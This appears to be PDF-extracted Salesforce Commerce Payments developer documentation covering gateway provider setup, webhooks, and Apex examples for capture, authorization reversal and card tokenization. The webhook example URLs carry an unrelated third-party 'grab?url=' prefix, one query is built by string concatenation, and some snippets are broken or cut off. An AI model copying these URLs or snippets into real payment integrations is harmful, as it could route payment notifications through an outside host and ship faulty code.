Use this payload as the request body, replacing value with the correct data.
{
"ApexAdapterId": "value",
"DeveloperName": "value",

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"MasterLabel": "value",
"IdempotencySupported": "value",
"Comments": "value"
}

Example:
{
"ApexAdapterId": "01pxx0000004UU8AAM",
"DeveloperName": "MyNewGatewayProvider",
"MasterLabel": "My New Gateway Provider",
"IdempotencySupported": "Yes",
"Comments": "Custom made gateway provider."
}

5. Create a payment gateway record. The PaymentGateway object stores information about the connection to an external payment
gateway. The record requires these field values.
• Payment Gateway Name: Name of the external payment gateway.
• Merchant Credential ID: ID of the named credential that you created.
• Payment Gateway Provider ID: ID of the payment gateway provider that you created.
• Status: Active

6. Create a webhook by providing a URL in the standard notification transport settings of your external payment gateway. The external
payment gateway uses the webhook to send notifications, as HTTP POST messages, to your asynchronous payment gateway adapter.
The webhook is a combination of your site endpoint with the ID of the payment gateway provider.
a. Use the following URL for your site’s endpoint, replacing domain with your site's domain and URL. For example:
https://MyDomainName.my.salesforce-sites.com/solutions/services/data/v58.0/commerce/payments/notify

Note: If you’re not using enhanced domains, your org’s Salesforce Sites URL is different. For details, see My Domain URL
Formats in Salesforce Help.

b. Find the ID of your payment gateway provider, and append the ?provider=ID query parameter to the endpoint. For
example,
https://MyDomainName.my.salesforce-sites.com/solutions/services/data/v58.0/commerce/payments/notify?provider=0cJR00000004CEhMAM
c. Enter the webhook in your external payment gateway’s standard notification settings.

SEE ALSO:
Object Reference for the Salesforce Platform: PaymentGatewayProvider
Object Reference for the Salesforce Platform: PaymentGateway

Builder Examples for Payment Gateway Adapters

The final sections of a payment gateway adapter should define how the adapter creates requests and responses. The implementation
of these classes can vary widely based on your gateway and platform requirements. We’ve provided several generics examples for review.

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Example:
buildCaptureRequest
private String buildCaptureRequest(commercepayments.CaptureRequest captureRequest)
{
Boolean IS_MULTICURRENCY_ORG = UserInfo.isMultiCurrencyOrganization();
QueryUtils qBuilderForAuth = new QueryUtils(PaymentAuthorization.SObjectType);
qBuilderForAuth.getSelectClause().addField('GatewayRefNumber', false);
qBuilderForAuth.setWhereClause(' WHERE Id =' + '\'' +
captureRequest.paymentAuthorizationId + '\'');
PaymentAuthorization authObject =
(PaymentAuthorization)Database.query(qBuilderForAuth.buildSOQL())[0];

JSONGenerator jsonGeneratorInstance = JSON.createGenerator(true);

jsonGeneratorInstance.writeStartObject();
jsonGeneratorInstance.writeStringField('merchantAccount',
'{!$Credential.Username}');
jsonGeneratorInstance.writeStringField('originalReference',
authObject.GatewayRefNumber);

jsonGeneratorInstance.writeFieldName('modificationAmount');
jsonGeneratorInstance.writeStartObject();
jsonGeneratorInstance.writeStringField('value',
String.ValueOf((captureRequest.amount * 100.0).intValue()));
jsonGeneratorInstance.writeEndObject();

jsonGeneratorInstance.writeEndObject();
return jsonGeneratorInstance.getAsString();
}

Example:
createCaptureResponse
private commercepayments.GatewayResponse createCaptureResponse(HttpResponse response)
{
Map<String, Object> mapOfResponseValues = (Map
<String, Object>) JSON.deserializeUntyped(response.getBody());

Integer statusCode = response.getStatusCode();

String responceValue = (String)mapOfResponseValues.get('response');
if(statusCode == 200) {
system.debug('Response - success - Capture received');
commercepayments.CaptureResponse captureResponse = new
commercepayments.CaptureResponse();
captureResponse.setAsync(true); // Very important to treat this as an
asynchronous transaction

captureResponse.setGatewayReferenceNumber((String)mapOfResponseValues.get('pspReference'));

captureResponse.setSalesforceResultCodeInfo(new
commercepayments.SalesforceResultCodeInfo(commercepayments.SalesforceResultCode.Success));

return captureResponse;

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} else {
system.debug('Response - error - Capture not received by Gateway');
String message = (String)mapOfResponseValues.get('message');
commercepayments.GatewayErrorResponse error = new
commercepayments.GatewayErrorResponse(String.valueOf(statusCode), message);
return error;
}
}

Payment Authorization Reversal Service

An authorization reversal is a transaction that negates an authorization by releasing the hold on funds in a customer’s payment method.

Authorization Reversal Apex Class Implementation

The Authorization Reversal Service uses the AuthorizationReversalRequest and
AuthorizationReversalResponse classes to manage the creation and storage of authorization reversal information.
Implement these classes in your payment gateway adapter.
Payment Authorization Reversal Service API
An authorization reversal is a transaction that negates an authorization by releasing the hold on funds in a customer’s payment
method. Use the authorization reversal service to provide users with the ability to reverse an outstanding payment authorization.

Authorization Reversal Apex Class Implementation

The Authorization Reversal Service uses the AuthorizationReversalRequest and AuthorizationReversalResponse
classes to manage the creation and storage of authorization reversal information. Implement these classes in your payment gateway
adapter.
AuthorizationReversalRequest
Represents the authorization reversal request. Extends BaseRequest and inherits all its methods.
AuthorizationReversalRequest uses a constructor to build an authorization reversal request record in Salesforce. The
AuthorizationReversalRequest constructor takes no arguments. You can invoke it as follows.

CommercePayments.AuthorizationReversalRequest arr = new

CommercePayments.AuthorizationReversalRequest();

If you want to build a sample authorization reversal, you can also invoke a constructor with arguments for the reversal amount and
payment authorization ID. However, the constructor would only work for test usage and would throw an exception if used outside
of the Apex test context.
commercepayments.AuthorizationReversalRequest authorizationReversalRequest =
new commercepayments.AuthorizationReversalRequest(80, authObj.id);

AuthorizationReversalResponse
The payment gateway adapter sends this class as a response for an Authorization Reversal request type. Extends
AbstractResponse and inherits its methods.
AuthorizationReversalResponse uses a constructor to build an authorization reversal request record in Salesforce. The
AuthorizationReversalResponse constructor takes no arguments. You can invoke it as follows:

CommercePayments.AuthorizationReversalResponse arp = new

CommercePayments.AuthorizationReversalResponse();

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Note: Salesforce doesn't support bulk operations or custom fields in the authorization reversal process.

Implementing Reversal Classes in Your Gateway Adapter

Add your reversal classes to your payment gateway adapter. We recommend adding AuthorizationReversal as a possible
requestType value when calling processRequest on the gateway’s response.

global commercepayments.GatewayResponse processRequest(commercepayments.paymentGatewayContext

gatewayContext) {
commercepayments.RequestType requestType = gatewayContext.getPaymentRequestType();

commercepayments.GatewayResponse response;

try {
//add conditions for other requestType values here
//..
else if (requestType == commercepayments.RequestType.AuthorizationReversal) {
response =
createAuthReversalResponse((commercepayments.AuthorizationReversalRequest)gatewayContext.getPaymentRequest());}

return response;

Then, add a class that sets the amount of the authorization reversal request, gateway information, and the Salesforce result code.
global commercepayments.GatewayResponse
createAuthReversalResponse(commercepayments.AuthorizationReversalRequest authReversalRequest)
{
commercepayments.AuthorizationReversalResponse authReversalResponse = new
commercepayments.AuthorizationReversalResponse();
if(authReversalRequest.amount!=null )
{
authReversalResponse.setAmount(authReversalRequest.amount);
}
else
{
throw new SalesforceValidationException('Required Field Missing : Amount');

system.debug('Response - success');
authReversalResponse.setGatewayDate(system.now());
authReversalResponse.setGatewayResultCode('00');
authReversalResponse.setGatewayResultCodeDescription('Transaction Normal');
//Replace 'xxxxx' with the gateway reference number.
authReversalResponse.setGatewayReferenceNumber('SF'+xxxxx);

authReversalResponse.setSalesforceResultCodeInfo(SUCCESS_SALESFORCE_RESULT_CODE_INFO);
return authReversalResponse;
}

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Sample Apex Request

String authorizationId = '0XcxXXXXXXXXXXXXXXX';
ConnectApi.AuthorizationReversalRequest authorizationReversalRequest = new
ConnectApi.AuthorizationReversalRequest();
authorizationReversalRequest.amount = 1.0;
authorizationReversalRequest.comments = 'Captured from custom action';
authorizationReversalRequest.ipAddress = '192.162.10.3';
authorizationReversalRequest.email = '[email protected]';

ConnectApi.AuthorizationReversalResponse authorizationReversalResponse =
ConnectApi.Payments.reverseAuthorization(authorizationReversalRequest, authorizationId);
String authReversalId = authorizationReversalResponse.paymentAuthAdjustment.id;
System.debug(authorizationReversalResponse);
System.debug(authReversalId);

Payment Authorization Reversal Service API

An authorization reversal is a transaction that negates an authorization by releasing the hold on funds in a customer’s payment method.
Use the authorization reversal service to provide users with the ability to reverse an outstanding payment authorization.
Sometimes, a customer performs a payment authorization but then needs to cancel all or part of the authorization later. For example,
the customer bought three items, and then realized that the first item is already in their stock. Commerce Payments API allows you to
reverse all or part of an outstanding payment authorization.
After the customer payment gateway authorizes a payment, Commerce Payments creates a payment authorization record to store
information about the authorization. When a user or process performs a reversal against the authorization, the authorization reversal
service creates a payment authorization adjustment to store information. The adjustment is related to the authorization.
If the payment authorization is associated with an order payment summary, then the reversal amount is added to the order payment
summary’s AuthorizationReversalAmount and subtracted from its AvailableToCaptureAmount. But the
AvailableToCaptureAmount is never below 0, even if a reversal makes its calculation a negative amount.

Note: For an authorization reversal, the payment gateway log’s OrderPaymentSummaryId always defaults to null. If there’s
an associated order payment summary, your code can set the value.
Call the authorization reversal service by making a POST request to the following endpoint.
Endpoint
/commerce/payments/authorizations/${*authorizationId*}/reversals

The service accepts one authorization reversal request per call. The following payment authorization adjustment API parameters are
accepted.

Table 6: Reversal Service Input Parameters

Parameter Required Description
amount Required Amount to be reversed from the
authorization. Must be greater than zero.
Salesforce doesn't provide validations
comparing
PaymentAuthorizationAdjustment.Amount
to
PaymentAuthorization.Amount.

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Parameter Required Description

If the payment gateway allows the reversal
amount to be greater than the authorization
amount, the authorization's resulting
balance can be negative. If your gateway
supports authorization balances below zero
and you want to avoid gateway calls,
configure your adapter to query the
authorization amount, balance, and total
reversal amount, and don’t call the endpoint
if the balance is less than zero.

accountId Optional Account ID to which this authorization

reversal is linked.

effectiveDate Optional The date that the reversal applies to the

authorization.

email Optional Fraud parameter

ipAddress Optional Fraud parameter

macAddress Optional Fraud parameter

phone Optional Fraud parameter

comments Optional User-provided comments about the

authorization reversal. Must be less than
1000 characters.

Sample Request and Response

This request calls a $150 reversal against an authorization.
{
"accountId":"",
"amount": "150",* "comments": "authorization reversal request",
"effectiveDate":"2020-10-18T11:32:27.000Z",
"ipAddress": "202.95.77.70",
"macAddress": "00-14-22-01-23-45",
"phone": "100-456-67",
"email": "[email protected]",
"additionalData":{
//add additional parameters if needed
"key1":"value1",
"key2":"value2",
"key3":"value3",
"key4":"value4",
"key5":"value5"
}
}

Sample Response - Success

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A successful authorization reversal response provides information about the gateway’s response and the values to construct a payment
authorization adjustment entity.
HPP Status Code: 201
{
"gatewayResponse" : {
"gatewayDate" : "2020-10-23T15:21:58.833Z",
"gatewayReferenceNumber" : "439XXXXXXX",
"gatewayResultCode" : "00",
"gatewayResultCodeDescription" : "Transaction Normal",
"salesforceResultCode" : "Success"
},
"paymentAuthAdjustment" : {
"amount" : "150.0",
"currencyIsoCode" : "USD",
"effectiveDate" : "2020-10-18T11:32:27.000Z",
"id" : "9tvR00000004Cf1MAE",
"paymentAuthAdjustmentNumber" : "PAA-00XXXXXXX",
"requestDate" : "2020-10-23T15:21:58.000Z",
"status" : "Processed"
},
"paymentGatewayLogs" : [ {
"createdDate" : "2020-10-23T15:21:58.000Z",
"gatewayResultCode" : "00",
"id" : "0XtXXXXXXXXXXXXXXX",
"interactionStatus" : "Success"
} ]
}

The resulting payment authorization adjustment in Salesforce would look like this.
If an error is returned, the response contains the gateway's error code and error message.
Sample Response - Error
{
"errorCode":"",
"errorMessage":""
}

Tokenization Service
The credit card tokenization process replaces sensitive customer information with a one-time algorithmically generated number, called
a token, used during the payment transaction. Salesforce stores the token and then uses that token as a representation of the credit card
used for transactions. The token lets you store information about the credit card without storing sensitive customer data, such as credit
card numbers, in Salesforce.

Tokenization Service Apex Class Implementation

Use the tokenization service to hide sensitive customer payment method data. The Tokenization service uses
PaymentMethodTokenizationRequest, PaymentMethodTokenizationResponse, and
CardPaymentMethodRequest. Implement these classes in your payment gateway adapter.

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Tokenization Service API

The credit card tokenization process replaces sensitive customer information with a one-time algorithmically generated number,
called a token, to use during the payment transaction. Salesforce stores the token and then uses that token as a representation of
the credit card used for transactions. The token stores information about the credit card without storing sensitive customer data
such as credit card numbers. To add tokenization capabilities to your payment services, implement our Tokenization API.

Tokenization Service Apex Class Implementation

Use the tokenization service to hide sensitive customer payment method data. The Tokenization
EDITIONS
service uses PaymentMethodTokenizationRequest,
PaymentMethodTokenizationResponse, and CardPaymentMethodRequest. Available in: Salesforce
Implement these classes in your payment gateway adapter. Spring '21 and later

Encryption for Tokenized Payment Methods

CommercePayments uses Salesforce field encryption to securely store gateway token values on customer payment method entities
such as DigitalWallet, CardPaymentMethod, and AlternativePaymentMethod.
CardPaymentMethod and DigitalWallet contain the GatewayTokenEncrypted field, available in API v52.0 and later, and the GatewayToken
field, available in API v48.0 and later. Both fields store gateway token values. However, GatewayTokenEncrypted uses Salesforce Classic
Encryption for Custom Fields to securely encrypt the token. GatewayToken doesn't use encryption. To ensure secure tokenization, we
recommend using GatewayTokenEncrypted on your DigitalWallets and CardPaymentMethods. The AlternativePaymentMethod object
uses a GatewayToken field for token storage, however, this field is encrypted on AlternativePaymentMethods.
In API version 52.0 and later, CardPaymentMethods and DigitalWallets can’t store values for GatewayTokenEncryption and GatewayToken
at the same time on the same record. If you try to assign one while the other exists, Salesforce throws an error.
Your payment gateway adapter uses the PaymentMethodTokenizationRequest and
PaymentMethodTokenizationResponse classes to retrieve a gateway token from the payment gateway, encrypt it in
Salesforce, and store the value on a payment method entity. Let's see how we can configure these classes in our payment gateway
adapter.

Implementing Tokenization Classes in Your Gateway Adapter

The following code is used within your PaymentGatewayAdapter Apex class.
Gateway tokens are created and encrypted when the GatewayResponse class's processRequest method receives a tokenization
request. If the request type is Tokenize, GatewayResponse calls the createTokenizeResponse method and passes an
instance of the PaymentMethodTokenizationRequest class. The passed PaymentMethodTokenizationRequest
object contains the address and cardPaymentMethod information that the payment gateway needs to manage the tokenization process.
For example:
global commercepayments.GatewayResponse processRequest(commercepayments.paymentGatewayContext
gatewayContext) {
commercepayments.RequestType requestType = gatewayContext.getPaymentRequestType();

commercepayments.GatewayResponse response;
try
{
if (requestType == commercepayments.RequestType.Tokenize) {
response =
createTokenizeResponse((commercepayments.PaymentMethodTokenizationRequest)gatewayContext.getPaymentRequest());

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}
//Add other else if statements for different request types as needed.
return response;
}
catch(SalesforceValidationException e)
{
commercepayments.GatewayErrorResponse error = new
commercepayments.GatewayErrorResponse('400', e.getMessage());
return error;
}
}

Configure the createTokenizeResponse method to accept an instance of PaymentMethodTokenizationRequest

and then build an instance of PaymentMethodTokenizationResponse based on the values that it receives from the payment
gateway. The tokenizeResponse contains the results of the gateway's tokenization process, and if successful, the tokenized value. In this
example, we call the setGatewayTokenEncrypted method to set the tokenized value in our tokenization response.
public commercepayments.GatewayResponse
createTokenizeResponse(commercepayments.PaymentMethodTokenizationRequest tokenizeRequest)
{
commercepayments.PaymentMethodTokenizationResponse tokenizeResponse = new
commercepayments.PaymentMethodTokenizationResponse();
tokenizeResponse.setGatewayTokenEncrypted(encryptedValue);
tokenizeResponse.setGatewayTokenDetails(tokenDetails);
tokenizeResponse.setGatewayAvsCode(avsCode);
tokenizeResponse.setGatewayMessage(gatewayMessage);
tokenizeResponse.setGatewayResultCode(resultcode);
tokenizeResponse.setGatewayResultCodeDescription(resultCodeDescription);
tokenizeResponse.setSalesforceResultCodeInfo(resultCodeInfo);
tokenizeResponse.setGatewayDate(system.now());
return tokenizeResponse;
}

The setGatewayTokenEncrypted method is available in Salesforce API v52.0 and later. It uses Salesforce classic encryption to
set the encrypted token value that you can store in GatewayTokenEncrypted on a CardPaymentMethod or DigitalWallet, or in GatewayToken
on an AlternativePaymentMethod. We recommend using setGatewayTokenEncrypted to ensure your tokenized payment
method values are encrypted and secure.
/** @description Method to set Gateway token to persist in Encrypted Text */
global void setGatewayTokenEncrypted(String gatewayTokenEncrypted) {
if (gatewayTokenSet) {
throwTokenError();
}
this.delegate.setGatewayTokenEncrypted(gatewayTokenEncrypted);
gatewayTokenEncryptedSet = true;
}

If the instantiated class already has a gateway token, setGatewayTokenEncrypted throws an error.

Note: While the PaymentMethodTokenizationResponse's setGatewayToken method (available in API v48.0 and later) also
returns a payment method token, the tokenized value isn't encrypted.

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Tokenization Service API

The credit card tokenization process replaces sensitive customer information with a one-time algorithmically generated number, called
a token, to use during the payment transaction. Salesforce stores the token and then uses that token as a representation of the credit
card used for transactions. The token stores information about the credit card without storing sensitive customer data such as credit
card numbers. To add tokenization capabilities to your payment services, implement our Tokenization API.
In a typical tokenization process, the payments platform accepts customer payment method data and passes it to a remote token service
server on the payment gateway, outside of Salesforce. The server provides the tokenized value for storage on the platform. For example,
a customer provides a credit card number of 4111 1111 1111 1234. The token server stores this value, associates it with a token
of 2537446225198291, and sends that token for storage on the platform.
During communication with the merchant, the merchant sends the 2537446225198291 token to the token server. The token
server confirms that it matches the customer’s token, and authorizes the merchant to perform the transaction against the customer’s
card.
The Commerce Payments Tokenization API accepts credit card information and uses the external payment gateway configured through
the customer's Salesforce org to tokenize the card information. It then returns the tokenization representation. The API then saves the
token in CardPaymentMethod.
Call the tokenization service by making a POST request to this endpoint.
/commerce/payments/payment-methods

The Tokenization Service accepts these request parameters from payment and related entities.

Parameter Required or Optional Details

cardPaymentMethod Some of the related fields for this parameter, Details of the credit card to be tokenized.
shown in the sample request of this topic, For Type, see CardPaymentMethod
are required. See CardPaymentMethod

accountId Optional Salesforce Account ID of the card owner.

address Optional Address information of the customer who

owns the credit card payment method
being tokenized.

paymentGatewayId Required The external payment gateway related to

the tokenization server.

email Optional Fraud parameter.

ipAddress Optional Fraud parameter.

macAddress Optional Fraud parameter.

phone Optional Fraud parameter.

additionalData Optional Any additional data required by the gateway

to tokenize a credit card payment method.

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Sample Request and Response

This sample request provides a customer's credit card information for tokenization. Some optional parameters are left blank.
{
"cardPaymentMethod": {
"cardHolderName":"Carol Smith",
"expiryMonth": "05",
"expiryYear": "2025",
"startMonth": "",
"startYear": "",
"cvv": "000",
"cardNumber": "4111111111111111",
"cardCategory": "Credit",
"cardType": "Visa",
"nickName": "",
"cardHolderFirstName": "Carol",
"cardHolderLastName": "Smith",
"email" : "[email protected]",
"comments" : "",
"accountId": "000XXXXXXXX"
},
"address":{
"street": "128 1st Street",
"city": "San Francisco",
"state": "CA",
"country": "USA",
"postalCode": "94015",
"companyName": "Salesforce"
},
"paymentGatewayId" : "000XXXXXXXX",
"email": ""
"ipAddress": "",
"macAddress": "",
"phone": "",

"additionalData":{
//add additional information if needed
"key1":"value1",
"key2":"value2",
"key3":"value3",
"key4":&qu